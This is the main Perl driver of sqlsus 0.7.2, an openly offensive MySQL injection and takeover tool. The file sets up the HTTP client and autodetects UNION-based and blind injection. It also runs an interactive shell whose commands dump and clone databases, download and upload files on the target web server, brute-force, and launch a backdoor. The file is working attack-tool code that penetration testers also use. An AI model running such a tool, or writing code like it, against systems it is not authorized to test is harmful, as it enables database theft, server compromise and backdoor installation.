#!/usr/bin/perl -w
# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html
our $RELEASE = "0.7.2";
use strict;
use lib 'lib';
use LWP::UserAgent;
use HTTP::Cookies;
use Term::ReadLine;
use File::Path;
use Getopt::Long;
use Time::HiRes qw/sleep/;
use File::Temp qw/tempfile tempdir/;
use Pod::Usage;
use IO::Socket;
use Sqlsus::conf;
use Sqlsus::functions;
use Sqlsus::select;
use Sqlsus::autoconf;
use Sqlsus::get;
use Sqlsus::show;
use Sqlsus::file;
use Sqlsus::db;
use Sqlsus::brute;
use Sqlsus::help;
use Sqlsus::backdoor;
use Sqlsus::msg;
use Sqlsus::clone;
our $internal_request = 0;
our %target;
our $database;
our %databases;
our %privileges;
our @history;
our $control_parent;
our $control_child;
my $interactive = 1;
##################################
sub version_info {
print "
sqlsus version $RELEASE
Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
";
}
##################################
sub usage {
pod2usage;
exit 0;
}
##################################
sub save_and_exit {
my $exit_code = shift;
&save();
$control_child->send('exit');
exit $exit_code;
}
##################################
sub save {
&db::save_vars;
if (defined @history or not $interactive) {
&db::query("DELETE FROM history");
&db::save_history(@history);
}
}
##################################
sub interrupt_hit {
$main::control_child->send("interrupt +");
}
##################################
sub interrupt_reset {
$main::control_child->send("interrupt reset");
}
##################################
sub is_interrupted {
$main::control_child->send("interrupt print");
$main::control_child->recv(my $buf, 100);
return $buf;
}
##################################
sub launch_control_process {
my $hits = 0;
my $inband_mass_query_fetched = 0;
my $interrupt = 0;
while (defined $control_parent) {
$control_parent->recv(my $buf, 100);
next unless $buf;
# &msg::info("received : $buf");
if ($buf eq 'hits +') {
$hits++;
} elsif ($buf eq 'hits print') {
$control_parent->send($hits);
} elsif ($buf eq 'hits reset') {
$hits = 0;
} elsif ($buf eq 'interrupt +') {
$interrupt++;
if ($interrupt == 2) {
&msg::raw("\n[+] Ctrl-C hit twice, hit again to force sqlsus to exit\n");
} elsif ($interrupt >= 3) {
rmtree($main::tmp_dir) if $main::tmp_dir;
kill -15, $$;
}
} elsif ($buf eq 'interrupt print') {
$control_parent->send($interrupt);
} elsif ($buf eq 'interrupt reset') {
$interrupt = 0;
} elsif ($buf =~ /inband_mass_query_fetched (\d+) (\d+) (\d+)/) {
$inband_mass_query_fetched += $1;
&select::print_progress($inband_mass_query_fetched, $2, $3, $hits);
} elsif ($buf =~ /inband_mass_query_fetched reset/) {
$inband_mass_query_fetched = 0;
} elsif ($buf =~ /progress print (\d+) (\d+) (\d+)/) {
&select::print_progress($1, $2, $3, $hits);
} elsif ($buf eq 'exit') {
exit;
}
}
}
##################################
sub target_fill {
my @result = &select::query("SELECT " . join(",", (values %conf::target_keys)), 1) or return 0;
for my $item (keys %conf::target_keys) {
$target{$item} = shift @result;
}
# create hash entry if none exists
$databases{$target{database}} = () unless defined $databases{$target{database}};
# if current database was never set, set it to what "start" returned
$database = $target{database} unless $database;
if (not &db::query("SELECT * FROM databases WHERE database_name = ?", $database)) {
&db::query("INSERT INTO databases VALUES (?,?,?,?)", $database, '','','');
}
$target{user} =~ s/^(.*)\@(.*)$/'$1'\@'$2'/ if $target{user};
&show::command("target");
return 1;
}
##################################
# Let's start the game !
sub start {
if (not $conf::blind) {
if (@conf::columns) {
&msg::info("UNION columns already set to (" . join (",", @conf::columns) . "), skipping auto-detection... (use \"autoconf select_columns\" to do it anyway)");
} else {
if (not &autoconf::select_columns()) {
&msg::fatal("find_select_columns() FAILED... exiting");
}
&msg::info("Correct number of columns for UNION : " . scalar @conf::columns . ' (' . join (",", @conf::columns) . ")");
if (not grep /1/, @conf::columns) {
&msg::fatal("No suitable column found, you should probably go in blind injection mode...exiting");
}
}
} else {
&msg::raw("Testing blind mode...\r");
if (&select::inject_blind("1") and not &select::inject_blind("0")) {
&msg::info("Blind mode test passed successfully");
} else {
if ($conf::blind == 1) {
&msg::error("Blind mode test failed, verify your parameters. (\$blind_string not accurate ?)");
} elsif ($conf::blind == 2) {
&msg::error("Blind mode test failed, verify your parameters. (\$blind_sleep set too low ? Using time-based injection on a MySQL < 5.0.12 ?)");
}
&save_and_exit(1);
}
}
if ($conf::max_url_length > 0) {
&msg::info("max_url_length already set to $conf::max_url_length , skipping auto-detection... (use \"autoconf max_sendable\" to do it anyway)");
} elsif ($conf::max_inj_length > 0) {
&msg::info("max_inj_length already set to $conf::max_inj_length , skipping auto-detection... (use \"autoconf max_sendable\" to do it anyway)");
} else {
&autoconf::max_sendable;
}
&msg::info("Filling \%target...");
&msg::fatal("target_fill() FAILED... exiting") if not &target_fill();
}
##################################
############# MAIN ###############
##################################
umask 0077;
&version_info;
########### parse arguments ############
my @input_query;
GetOptions(
"help" => sub { &usage() },
"version" => sub { exit 0 },
"execute=s" => sub {
@input_query = split ';', $_[1];
$interactive = 0;
},
"genconf=s" => sub {
&conf::gen($_[1]);
exit 0
}
);
my $conf_file = $ARGV[0];
&usage unless $conf_file;
if (-r "$conf_file") {
do "$conf_file";
} else {
print STDERR "Configuration file \"$conf_file\" not readable, exiting..\n";
exit 1;
}
########### init sqlsus ############
&conf::backwards_compatibility();
# auto prefix/append space
$conf::url_start .= " ";
$conf::url_end = " " . $conf::url_end;
# URL base path
our $url_base = $conf::url_start;
$url_base =~ s#^(https?://[^/]+/).*$#$1#i;
our $html_method = $conf::post ? "POST" : "GET";
$conf::union_select .= " ";
our $server;
our $port = 80;
if ($conf::url_start =~ m#https?://([^/]*?)(:(\d+))?/.*#) {
$server = $1;
$port = $3 if defined $3;
} else {
&msg::error("Unable to extract server from url_start, check your configuration file");
exit 1;
}
my ($status, @result);
our $term = new Term::ReadLine 'kikoolol';
eval { $term->Attribs->ornaments(0); };
our $browser = LWP::UserAgent->new(agent => $conf::user_agent);
mkpath "$conf::datapath";
our $logdb = "$conf::datapath/sqlsus-session.$main::server.db";
our $dumpdbbase = "$conf::datapath/$main::server";
# init and load data from saved session if any
&db::init_databases;
@history = &db::query("SELECT command FROM history");
&db::init_vars;
&db::load_vars;
&functions::load_proxy_in_browser;
if ($conf::cred_realm) { $browser->credentials("$server:$port", $conf::cred_realm, $conf::cred_user, $conf::cred_password) }
eval { $main::term->AddHistory(@history) };
&msg::notice("Terminal does not support AddHistory. Consider installing a real Term::Readline package.") if $@;
$browser->cookie_jar(HTTP::Cookies->new);
if ($conf::use_cookie_jar and $conf::cookie) {
&functions::set_cookie($conf::cookie);
}
our $tmp_dir = tempdir("/tmp/.sqlsus_XXXXXXXX", CLEANUP => 1 ) or &msg::fatal("Couldn't create temporary directory : $!");
our @backdoor_data = <backdoor::DATA>;
close backdoor::DATA;
our $pid = $$;
$control_parent = new IO::Socket::UNIX->new(Local => "$main::tmp_dir/control_parent",
Type => SOCK_DGRAM,
Listen => 10)
|| die "can't create master hits UNIX socket: $!\n";
$control_child = IO::Socket::UNIX->new(Peer => "$main::tmp_dir/control_parent",
Local => "$main::tmp_dir/control_child",
Type => SOCK_DGRAM,
Timeout => 10)
|| die "could not create hits UNIX socket : $!\n";
$SIG{'INT'} = 'IGNORE';
if (fork()) {
$SIG{'INT'} = sub { &functions::interrupt_hit(); };
&launch_control_process();
exit;
}
########### main loop ############
LOOP:
while (@input_query or defined (my $query = $_ = $term->readline('sqlsus> '))) {
&main::interrupt_reset();
&functions::hits_reset();
unless ($interactive) { $query = $_ = shift @input_query }
if (/\S/) {
# Discard trailing ';', spaces..
$query =~ s/^\s*(.*?)\s*;?\s*$/$1/;
last if $query =~ /^(exit|quit)$/i;
if ($query =~ /^replay$/i) {
for (my $i = $#history; $i >= 0; $i--) {
if ($history[$i] =~ /^select\s/i) {
my $table = &db::query_in_log($history[$i]);
&db::drop_table($table) if $table;
&msg::info("Replaying : $history[$i]");
&select::command($history[$i]);
push @history, "replay";
&main::interrupt_reset();
goto LOOP;
}
}
# No select has been found in command history, but replay was asked
&msg::error("No select found in command history, nothing to replay");
next;
} elsif ($query =~ /^(select)\s+/i and $interactive) {
push @history, $query;
if (my $table = &db::query_in_log($query)) {
&functions::print_table_in_a_box(undef, $main::logdb, $table);
&msg::info("Cached result displayed, use \"replay\" to re-execute the last select");
next;
}
}
my ($query_type, @query_args_tab) = split /\s+/, $query;
my $query_args = join ' ', @query_args_tab;
for ($query_type) {
if (/^start$/i) { &start }
elsif (/^select$/i) { &select::command($query) }
elsif (/^test$/i) { &select::test($query_args) }
elsif (/^show$/i) { &show::command($query_args) }
elsif (/^get$/i) { &get::command($query_args) }
elsif (/^describe$/i) { &show::command("columns $query_args") }
elsif (/^set$/i) { &functions::set_var($query_args) }
elsif (/^use$/i) { &functions::set_var("db $query_args") }
elsif (/^find$/i) { &functions::find_tables($query_args) }
elsif (/^download$/i) { &file::download($query_args) }
elsif (/^upload$/i) { &file::upload(@query_args_tab) }
elsif (/^clone$/i) { &clone::command($query_args) }
elsif (/^brute$/i) { &brute::command($query_args) }
elsif (/^autoconf$/i) { &autoconf::command($query_args) }
elsif (/^backdoor$/i) { &backdoor::launch() }
elsif (/^help$/i) { &help::usage($query_args) }
elsif (/^genconf$/i) { &conf::gen($query_args) }
elsif (/^!(.*)$/) { system("$1 $query_args") }
elsif (/^eval$/i) {
eval $query_args if $query_args;
print "\n";
}
else {
&msg::notice("\"$query\" command not implemented");
next;
}
push @history, $query;
}
}
last if &main::is_interrupted() and not $interactive;
last if not $interactive and not $input_query[0];
&main::interrupt_reset();
&save;
}
# and... done.
print "\n";
&msg::info("Session saved");
&save_and_exit(0);
__END__
=head1 NAME
sqlsus - MySQL injection tool
=head1 SYNOPSIS
B<sqlsus> S<[options]> S<[config file]>
Options:
-h, --help brief help message
-v, --version version information
-e, --execute <commands> execute commands and exit
-g, --genconf <filename> generate configuration file
=head1 EXAMPLES
=over 4
=item B<sqlsus> --genconf my.conf
generate my.conf with sqlsus defaults.
=item B<sqlsus> --execute 'start;get db;clone' my.conf
use my.conf and clone the current database.
=item B<sqlsus> my.conf
start sqlsus in interactive mode using my.conf as configuration file.
=back
=head1 DESCRIPTION
B<sqlsus> is a MySQL injection and takeover tool focused on speed and efficiency, optimising the available injection space.
Via a command line interface, you can retrieve the database(s) structure, clone the database(s), inject your own SQL queries (even complex ones), download files from the web server, upload and control a backdoor, and much more...
=head1 OPTIONS
=over 4
=item S<B<-g, --genconf> <filename>>
Generate a configuration file with sqlsus defaults.
=item S<B<-e, --execute> <command[;command;command...]>>
Non interactive mode, sqlsus will execute each command one after another.
=item S<B<-h, --help>>
Print basic help.
=item S<B<-v, --version>>
Print version information.
=back
=head1 SEE ALSO
=over 4
=item sqlsus website: L<http://sqlsus.sourceforge.net/>
=item Inline documentation: type "help" inside sqlsus.
=back
=head1 AUTHOR
Jeremy Ruffet <[email protected]>
=head1 COPYRIGHT
Copyright (c) 2008-2011 Jeremy Ruffet. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
=cut